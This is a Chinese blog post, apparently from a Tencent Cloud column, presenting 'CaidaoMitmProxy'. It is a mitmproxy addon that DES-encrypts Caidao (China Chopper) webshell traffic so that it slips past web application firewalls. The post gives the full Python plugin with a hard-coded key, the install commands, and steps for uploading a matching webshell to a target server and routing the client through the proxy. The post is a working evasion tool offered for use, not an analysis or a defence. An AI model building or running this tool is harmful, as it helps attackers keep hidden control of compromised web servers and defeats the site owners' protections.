专栏首页黑白安全CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

CaidaoMitmProxy:基于HTTP代理中转菜刀过WAF

基于HTTP代理中转菜刀过WAF

前言

在实际的渗透过程中,我们常常因为WAF而头疼。源码免杀了而传输层却被拦截了实在难受。虽然现在很多优秀的应用。如蚁剑,C刀,冰蝎等。本文就通过在不修改程序源码,不重复造轮子,代码量最少的前提下实现类似冰蝎的加密传输。

思路

如果我们要实现类似冰蝎那种数据加密传输必定要拦截菜刀的发送数据。如何拦截呢?这里就可以想到中间人劫持了。利用中间人拦截了菜刀的传输数据然后进行自定义加密再发送给webshell。这不就成功了吗?类似下图

分割线上是菜刀正常的传输,下面是我们要实现的加密传输。在加密算法的选择上我选择了DES算法。

原因如下:

1. PHP 本版兼容性最高,代码量少且简单,不依赖openssl 2. 在其他脚本中也是相对较少的代码量和较好的兼容性

实现

基于菜刀20160622版本修改和测试。

利用MitmProxy作为中间人代理,只需要写个插件即可实现。

MitmProxy

安装(windows用户务必通过PIP安装mitmproxy,不然插件会出现找不到模块的错误)

pip[3] install mitmproxy pip[3] install pydes

插件代码:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import base64
import mitmproxy.http
import pyDes
import random
from urllib.parse import quote

key = "KvCb2poU"
# 加密
def encrypt_str(key,data):
    # 加密方法
    method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
    # 执行加密码
    k = method.encrypt(data)
    # 转base64编码并返回
    return base64.b64encode(k)

# 解密
def decrypt_str(key,data):
    method = pyDes.des(key, pyDes.ECB,pad=None, padmode=pyDes.PAD_PKCS5)
    # 对base64编码解码
    k = base64.b64decode(data)
    # 再执行Des解密并返回
    return method.decrypt(k)

class Counter:

    def __init__(self):
        pass

    def request(self, flow: mitmproxy.http.HTTPFlow):

        print(key)
        print("first req:" + str(flow.request.content))
        flow.request.content = bytes(quote(str(encrypt_str(key.encode(encoding="utf-8"), flow.request.content),encoding="UTF-8")),encoding="UTF-8")
        print("req:" + str(flow.request.content))

    def response(self,flow: mitmproxy.http.HTTPFlow):
        flow.response.content = decrypt_str(key.encode(encoding="utf-8"),flow.response.content)
        print("decrypt resp:" + str(flow.response.content,encoding="utf-8"))

addons = [
    Counter()
]

使用

  1. 将支持 DES 加密的 Webshell 上传到服务器的 Web目录
  2. 运行下列代码开启代理中转(使用 -p 可以自定以端口) Windows:mitmdump -k -s 插件路径 Linux:mitmproxy -k -s 插件路径
  3. 用Proxifier等其他工具将菜刀或者域名加进代理规则即可。默认监听是8080
  4. 用菜刀直接连接就能开始食用啦

Webshell和插件还有其他详情在github。

参考:

https://xz.aliyun.com/t/2739 https://github.com/ekgg/Caidao-AES-Version

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 让我们一起认识PHP!

    Hi,大家好我是你们熟悉的Script.M很久没发文章了包括之前一直在转载别人的文章今天小编突然良心发现还是写一篇关于自己的文章吧!但是吧Script.M就精通...

    周俊辉
  • Turla APT 组织利用 Metasploit 框架发动攻击

    urla是俄罗斯的APT小组(也称为Waterbug),小组自2007年以来活跃攻击政府组织和私营企业。

    周俊辉
  • Cat-Nip:专用于Kali Linux的自动化基础渗透测试工具

    今天给大家介绍的是一款名叫Cat-Nip的开源渗透测试工具,该工具针对Kali Linux开发,可帮助研究人员自动化完成基础的渗透测试。这些基础的渗透测试任务包...

    周俊辉
  • 数字化转型,建个中台就够了吗?

    全球经济增长同步趋缓,增量市场转变为存量市场,传统企业急需一种方式寻求转型升级的新动力,进一步拓展市场。

    大数据文摘
  • Apache Hive Table

    这两种文件格式Hive都支持,但是有个缺点就是:用户要对文本文件中那些不需要作为分隔符处理的逗号或者制表符格外小心。

    DataScience
  • 选软件要靠自己不能只靠专家

    2017年写过一篇关于SAAS的文章放到知乎,结果有很多网友加我微信,咨询我问题,其中有些人会让我推荐一个”成熟”的餐饮软件给他。说实话,市面是真正好的餐饮软件...

    用户5829239
  • “一切都是消息”--MSF(消息服务框架)之【发布-订阅】模式

    在上一篇,“一切都是消息”--MSF(消息服务框架)之【请求-响应】模式 ,我们演示了MSF实现简单的请求-响应模式的示例,今天来看看如何实现【发布-订阅】模式...

    用户1177503
  • 4-STM32物联网开发WIFI(ESP8266)+GPRS(Air202)系统方案升级篇

    说是使用APP远程升级WIFI模块程序,实际上APP只是告诉模块你要去升级了,剩下的工作其实还是WIFI模块在和上位机之间进行数据传输,

    杨奉武
  • leetcode-414-Third Maximum Number

    chenjx85
  • 使用者竞争模式

    使多个并发使用者能够处理同一消息通道上收到的消息。 它可让系统同时处理多个消息,以优化吞吐量、改进可扩展性和可用性,以及平衡工作负荷。

    只喝牛奶的杀手

扫码关注云+社区

领取腾讯云代金券